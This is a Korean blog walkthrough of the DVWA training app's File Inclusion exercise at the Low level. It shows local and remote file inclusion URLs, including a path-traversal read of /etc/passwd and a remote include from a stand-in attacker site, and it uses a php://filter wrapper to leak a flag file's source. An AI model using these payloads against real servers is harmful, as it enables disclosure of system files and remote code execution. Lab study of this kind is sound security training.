본문 바로가기
해킹/DVWA

DVWA 실습 4. File Inclusion (Low)

by yenua 2022. 5. 19.
반응형

파일 인클루전의 2가지 유형에 대하여는 아래에서 공부할 수 있다.

LFI는 http://vulnerable_host/preview.php?file=../../../../etc/passwd 요런거

RFI는 http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page 요런걸 뜻한다.

말 그대로 local 과 remote의 차이다.

 

dvwa의 file inclusion 페이지는 아래와 같이 생겼다. 아래 file1, 2, 3.php를 하나씩 눌러보면

http://192.168.0.101/vulnerabilities/fi/?page=include.php

여기서 include.php 부분만 file1.php, ... 이런식으로 바뀌면서 접근이 된다.

file4.php도 있나 싶어서

http://192.168.0.101/vulnerabilities/fi/?page=file4.php 로 접근해봤더니.. 진짜 있었다;

 

근데.. 몰랐는데, 사이트 아래에 소스코드랑 목표가 제공되고 있었다..!

Objective
Read all five famous quotes from '../hackable/flags/fi.php' using only the file inclusion.

../hackable/flags/fi.php 에 있는 5개의 인용문을 모두 읽는 것이 목표라고 한다.

 

바로 넣었더니 그런거 없단다..

 

http://192.168.0.101/vulnerabilities/fi/?page=../../hackable/flags/fi.php 로 해보니 뭔가 떴다!

아직 3개밖에 못찾았는데, 3번은 숨겨져 있다고 한다.. 5개라고 하는데, 4번까지 있는걸 보면 5번도 숨겨져 있나보다.

소스코드를 보니 5번은 주석처리 되어 있엇다.

위의 LFI 설명을 보니 PHP Wrappers 의 PHP Filter 를 이용하면 될 것 같은 느낌이 든다.

http://192.168.0.101/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../hackable/flags/fi.php

로 접속하면 아래처럼 엄청 긴 문자들이 나오는데, base64로 인코딩 된 것이지 싶었다.

PD9waHAKCmlmKCAhZGVmaW5lZCggJ0RWV0FfV0VCX1BBR0VfVE9fUk9PVCcgKSApIHsKCWV4aXQgKCJOaWNlIHRyeSA7LSkuIFVzZSB0aGUgZmlsZSBpbmNsdWRlIG5leHQgdGltZSEiKTsKfQoKPz4KCjEuKSBCb25kLiBKYW1lcyBCb25kCgo8P3BocAoKZWNobyAiMi4pIE15IG5hbWUgaXMgU2hlcmxvY2sgSG9sbWVzLiBJdCBpcyBteSBidXNpbmVzcyB0byBrbm93IHdoYXQgb3RoZXIgcGVvcGxlIGRvbid0IGtub3cuXG5cbjxiciAvPjxiciAvPlxuIjsKCiRsaW5lMyA9ICIzLikgUm9tZW8sIFJvbWVvISBXaGVyZWZvcmUgYXJ0IHRob3UgUm9tZW8/IjsKJGxpbmUzID0gIi0tTElORSBISURERU4gOyktLSI7CmVjaG8gJGxpbmUzIC4gIlxuXG48YnIgLz48YnIgLz5cbiI7CgokbGluZTQgPSAiTkM0cEkiIC4gIkZSb1pTQndiMjlzIiAuICJJRzl1SUgiIC4gIlJvWlNCeWIyOW1JRzEiIC4gIjFjM1FnYUdGIiAuICIyWlNCaCIgLiAiSUd4bFkiIC4gIldzdSI7CmVjaG8gYmFzZTY0X2RlY29kZSggJGxpbmU0ICk7Cgo/PgoKPCEtLSA1LikgVGhlIHdvcmxkIGlzbid0IHJ1biBieSB3ZWFwb25zIGFueW1vcmUsIG9yIGVuZXJneSwgb3IgbW9uZXkuIEl0J3MgcnVuIGJ5IGxpdHRsZSBvbmVzIGFuZCB6ZXJvZXMsIGxpdHRsZSBiaXRzIG9mIGRhdGEuIEl0J3MgYWxsIGp1c3QgZWxlY3Ryb25zLiAtLT4K

https://www.convertstring.com/ko/EncodeDecode/Base64Decode 이 사이트를 이용하여 디코딩 해보니까 아래와 같이 php 코드가 나왔다.

<?php if( !defined( 'DVWA_WEB_PAGE_TO_ROOT' ) ) { exit ("Nice try ;-). Use the file include next time!"); } ?> 1.) Bond. James Bond <?php echo "2.) My name is Sherlock Holmes. It is my business to know what other people don't know.\n\n<br /><br />\n"; $line3 = "3.) Romeo, Romeo! Wherefore art thou Romeo?"; $line3 = "--LINE HIDDEN ;)--"; echo $line3 . "\n\n<br /><br />\n"; $line4 = "NC4pI" . "FRoZSBwb29s" . "IG9uIH" . "RoZSByb29mIG1" . "1c3QgaGF" . "2ZSBh" . "IGxlY" . "Wsu"; echo base64_decode( $line4 ); ?> <!-- 5.) The world isn't run by weapons anymore, or energy, or money. It's run by little ones and zeroes, little bits of data. It's all just electrons. -->

 

2번은 그냥 출력되도록 되어있었고, 3번은 라인 히든으로 바뀌어 출력되었고, 4번은 base64 인코딩 된 것이 디코드 되어 출력된 것이었다.

 

반응형